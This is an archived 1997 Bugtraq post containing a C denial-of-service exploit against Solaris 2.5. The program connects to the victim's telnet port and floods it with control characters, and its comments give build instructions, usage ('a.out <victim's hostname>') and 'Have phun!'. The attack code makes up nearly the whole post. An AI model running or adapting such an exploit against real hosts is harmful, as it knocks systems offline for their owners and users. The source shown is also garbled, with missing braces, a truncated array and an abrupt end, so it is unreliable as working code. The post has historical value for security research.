Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
Bugtraq archives for 3rd quarter (Jul-Sep) 1997: BoS: solaris 2.5 D.O.S. attack

BoS: solaris 2.5 D.O.S. attack

Aleph One (aleph1DFW.NET)
Sat, 16 Aug 1997 13:37:42 -0500

/*  Here is a little proggie reputed to make Solaris 2.5 machines
**  totally unresponsive for the duration of the attack.  You need
**  a real internet connection from the attacker to the victim,
**  but very little bandwidth is required to keep the victim "down 'n
**  out" once the attack is underway.  If the output of dots stops
**  for long pauses, the attack is working.  If the dots keep coming
**  fast or you get a SIGPIPE, the attack didn't work.
**  The victim must offer a login prompt on port 23.
**  This isn't 100% -- some machines resist, and you may have to try
**  multiple times on some machines, but with a few tries most 2.5
**  machines seem to bite it hard.
**  To make, if your system is BSD'ish:  gcc <thisfile>
**       ...if your system is SysV'ish:  gcc -lnsl -lsocket <thisfile>
**  Usage: a.out <victim's hostname>
**  Have phun!

#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/telnet.h>
#include <string.h>
#include <unistd.h>

#define BUFSIZE 100
#define DOTS

void catchit(void)
    printf("\nCaught SIGPIPE -- your link may be too slow.\n");

int main(int argc, char *argv[])
    unsigned char kludge_telopt[] = {IAC,WONT,TELOPT_TTYPE,IAC,DO,  \

    unsigned char nastybuf[BUFSIZE];
    struct sockaddr_in sin;
    struct servent *sp;
    struct hostent *hp;
    int s;

    typedef void (*sig_t) (int);

    memset(nastybuf,4,BUFSIZE);  /* ascii 4 = ^D */

    if (!(s = socket(AF_INET, SOCK_STREAM, 0))) {
          printf("no socket\n");

    if (!(hp = gethostbyname(argv[1]))) {
        printf("unknown host\n");

    bcopy(hp->h_addr,(char *)&sin.sin_addr,hp->h_length);
    sin.sin_family = AF_INET;
    sp = getservbyname("telnet","tcp");
    sin.sin_port = sp->s_port;

    if (connect(s,(struct sockaddr *)&sin,sizeof(sin)) == -1) {
        printf("can't connect to host\n");

    printf("connected to %s\n",argv[1]);
    write(s,kludge_telopt,21);   /* kludge some telnet negotiation */

    /*  "Let them eat ^Ds..." */

    while (write(s,nastybuf,BUFSIZE) != -1) {

#ifdef DOTS